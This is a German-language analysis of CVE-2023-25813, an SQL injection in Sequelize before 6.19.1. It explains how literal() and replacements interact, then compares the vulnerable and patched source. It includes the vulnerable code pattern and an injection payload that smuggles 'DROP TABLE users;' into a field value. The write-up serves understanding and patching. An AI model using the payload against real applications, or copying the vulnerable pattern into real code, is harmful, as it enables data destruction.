
Proof-of-concept-Exploit für CVE-2023-25813, eine SQL-Injection-Schwachstelle in Sequelize ORM-Versionen vor 6.19.1, mit detaillierter Analyse und Reproduktionsschritten.
replacements übergebene Eingabewerte nicht ordnungsgemäß escaped, was bei bestimmten Abfragekonfigurationen zu SQL Injection führen kann.Sequelize ist eine ORM-Bibliothek (Object-Relational Mapping) für Node.js. ORM ist eine Technologie, die die automatische Konvertierung zwischen Objekten und relationalen Datenbanken ermöglicht, sodass Datenbankeinträge abgefragt, erstellt, aktualisiert und gelöscht werden können, ohne SQL-Abfragen direkt schreiben zu müssen.
// SELECT * FROM users WHERE id = 1;
const user = await User.findByPk(1);
replacements ist ein Bindungsmechanismus in Sequelize, der bei der Verwendung von rohen SQL-Abfragen oder ORM-Methoden benutzt wird, um Benutzereingaben sicher in SQL einzufügen. Es ist ein primäres Mittel zur Verhinderung von SQL-Injection.
// Positionsbasierte Bindung
await sequelize.query('SELECT * FROM projects WHERE status = ?', {
replacements: ['active'],
});
// Schlüsselbasierte Bindung
await sequelize.query(
'SELECT * FROM users WHERE name = :name AND age = :age',
{
replacements: {
name: 'Alice',
age: 25
}
}
);
Sequelize bietet die Option replacements, um Benutzereingaben sicher an SQL zu binden. In Versionen vor Sequelize 6.19.1 kann jedoch bei Verwendung von ORM-Methoden trotz Bindung über replacements aufgrund eines Problems in der Reihenfolge der internen SQL-Erstellung und -Ersetzung eine SQL-Injection auftreten.
Im Folgenden ein Beispiel für Sequelize-Code, bei dem die Schwachstelle auftritt. Eine SQL-Injection kann auftreten, wenn literal und replacements zusammen verwendet werden.
User.findAll({
where: or(
literal('soundex("firstName") = soundex(:firstName)'),
{ lastName: lastName },
),
replacements: { firstName },
})
Der Angreifer kann die folgende Eingabe in replacements injizieren, wodurch die Abfragestruktur zerstört wird.
{
"firstName": "OR true; DROP TABLE users;",
"lastName": ":firstName"
}
Es handelt sich um eine Struktur, bei der der Schlüssel (:firstName) von replacements erneut in den Wert eingefügt wird, um den Bindungsschlüssel erneut zu platzieren.
SELECT * FROM users
WHERE soundex("firstName") = soundex(:firstName)
OR "lastName" = ':firstName'
Die fertige endgültige Abfrage sieht wie folgt aus. Allerdings hat diese Abfrage eine Form, bei der die Ausführbarkeit strukturell schwer zu beurteilen ist, und das Ergebnis kann je nach Interpretation des SQL-Parsers und der Datenbankkonfiguration variieren. In einigen Umgebungen wird sie als einfacher Syntaxfehler behandelt, je nach Konfiguration besteht jedoch die Gefahr, dass unbeabsichtigte SQL-Befehle ausgeführt werden.
SELECT * FROM users
WHERE soundex("firstName") = soundex('OR true; DROP TABLE users;')
OR "lastName" = ''OR true; DROP TABLE users;''
Wenn die Umgebung Multi-Abfragen im SQL-Parser erlaubt, kann mit nur einer Bindung eine Tabelle gelöscht werden.

Sequelize behandelt Zeichenfolgen, die in die Funktion literal eingegeben werden, als vertrauenswürdige SQL-Fragmente und escapt sie nicht. Daher werden diese Zeichenfolgen unverändert in die SQL-Abfrage eingefügt, und selbst wenn ein :param darin verbleibt, bleibt er unbehandelt. Wie unten gezeigt, ersetzt replacements die verbleibenden :param-Tokens erst, nachdem das SQL vollständig zu einer Zeichenfolge zusammengesetzt wurde, direkt vor der Ausführung. Dadurch werden Benutzereingaben unverändert in das bereits strukturierte SQL eingefügt, was die gesamte Abfragestruktur zerstört und die Schwachstelle verursacht.
// sequelize-6.19.0/src/sequelize.js
if (options.replacements) {
if (Array.isArray(options.replacements)) {
sql = Utils.format([sql].concat(options.replacements), this.options.dialect);
} else {
sql = Utils.formatNamedParameters(sql, options.replacements, this.options.dialect);
}
}
Es wurde injectReplacements definiert, um Bindungen nur an syntaktisch sicheren Stellen zu erlauben.
// sequelize-6.19.1/src/sequelize.js
if (options.replacements) {
if (Array.isArray(options.replacements)) {
sql = Utils.format([sql].concat(options.replacements), this.options.dialect);
} else {
sql = Utils.formatNamedParameters(sql, options.replacements, this.options.dialect);
}
sql = injectReplacements(sql, this.dialect, options.replacements);
}